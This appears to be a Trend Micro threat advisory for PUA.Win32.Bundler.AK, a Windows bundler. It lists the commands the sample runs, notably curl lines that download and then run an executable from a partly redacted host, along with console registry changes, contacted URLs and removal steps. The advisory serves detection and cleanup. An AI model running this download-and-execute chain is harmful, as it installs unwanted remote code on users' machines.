PUA.Win32.Bundler.AK
Windows
Threat Type: Potentially Unwanted Application
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Potentially Unwanted Application arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
1,051,311 bytes
EXE
Yes
09 Nov 2019
Arrival Details
This Potentially Unwanted Application arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Potentially Unwanted Application adds the following processes:
- regedit /s windowsize.reg
- curl --progress-bar -o aupver2.tll http://www.{BLOCKED}mar.com/software/Adobe_Plus/aupver2.tll
- curl --progress-bar -o ADOBE_DOWNLOAD_PACKAGE.exe http://www.{BLOCKED}mar.com/software/Adobe_Plus/ADOBE_DOWNLOAD_PACKAGE.exe
- xcopy /y ADOBE_DOWNLOAD_PACKAGE.exe %User Temp%\~adobe2\
- ADOBE_DOWNLOAD_PACKAGE.exe
- curl --progress-bar -o date2.tll http://www.{BLOCKED}mar.com/software/Adobe_Plus/date2.tll
- wscript ver.vbs
- %System%\cmd.exe /c type ver.txt| findstr /i /%System Root%"full"
- curl --progress-bar -o Regcheck64_2.tll http://www.{BLOCKED}mar.com/software/Adobe_Plus/Regcheck64_2.tll
- curl --progress-bar -o Regcheck_2.tll http://www.{BLOCKED}mar.com/software/Adobe_Plus/Regcheck_2.tll
- wscript.exe ~install.vbs install.bat
- %System%\cmd.exe /S /D /c" type ver.txt"
- findstr /i /%System Root%"full"
- install.bat
- wscript start.vbs
- %System%\cmd.exe /c @tasklist| findstr /i /%System Root%"7za.exe"
- %System%\cmd.exe /c ver| findstr /i /%System Root%"Version 10."
- %System%\cmd.exe /c @tasklist| findstr /i /%System Root%"Firefox70.0.1.exe"
- %System%\cmd.exe /c @tasklist| findstr /i /%System Root%"install_flash_player_32_plugin.exe"
- %System%\cmd.exe /c @tasklist| findstr /i /%System Root%"install_flash_player_32_active_x.msi"
- %System%\cmd.exe /c @tasklist| findstr /i /%System Root%"jre-8u231-windows-i586.exe"
- %System%\cmd.exe /c @tasklist| findstr /i /%System Root%"AcroRdrDC1901220034_en_US.exe"
- %System%\cmd.exe /c @tasklist| findstr /i /%System Root%"vlc-3.0.8-win32.exe"
- %System%\cmd.exe /c @tasklist| findstr /i /%System Root%"gs907w32.exe"
- %System%\cmd.exe /c @tasklist| findstr /i /%System Root%"CuteWriter.exe"
- install2.bat
- tasklist
- findstr /i /%System Root%"7za.exe"
- %System%\cmd.exe /S /D /c" ver"
- findstr /i /%System Root%"Version 10."
- findstr /i /%System Root%"Firefox70.0.1.exe"
- findstr /i /%System Root%"install_flash_player_32_plugin.exe"
- findstr /i /%System Root%"install_flash_player_32_active_x.msi"
- findstr /i /%System Root%"jre-8u231-windows-i586.exe"
- findstr /i /%System Root%"AcroRdrDC1901220034_en_US.exe"
- findstr /i /%System Root%"vlc-3.0.8-win32.exe"
- findstr /i /%System Root%"gs907w32.exe"
- findstr /i /%System Root%"CuteWriter.exe"
Other System Modifications
This Potentially Unwanted Application adds the following registry entries:
HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe
FontSize = "786440"
HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe
FontFamily = "48"
HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe
FontWeight = "400"
HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe
HistoryNoDup = "0"
HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe
WindowSize = "1638490"
HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe
ScreenBufferSize = "19660890"
Other Details
This Potentially Unwanted Application connects to the following possibly malicious URL:
- http://www.{BLOCKED}mar.com/software/Adobe_Plus/aupver2.tll
- http://www.{BLOCKED}mar.com/software/Adobe_Plus/ADOBE_DOWNLOAD_PACKAGE.exe
- http://www.{BLOCKED}mar.com/software/Adobe_Plus/date2.tll
- http://www.{BLOCKED}mar.com/software/Adobe_Plus/Regcheck64_2.tll
- http://www.{BLOCKED}mar.com/software/Adobe_Plus/Regcheck_2.tll
This report is generated via an automated analysis system.
SOLUTION
9.850
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Identify and terminate files detected as PUA.Win32.Bundler.AK
- Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
- If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
- If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.
Step 3
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe
- FontSize = "786440"
- In HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe
- FontFamily = "48"
- In HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe
- FontWeight = "400"
- In HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe
- HistoryNoDup = "0"
- In HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe
- WindowSize = "1638490"
- In HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe
- ScreenBufferSize = "19660890"
Step 4
Scan your computer with your Trend Micro product to delete files detected as PUA.Win32.Bundler.AK. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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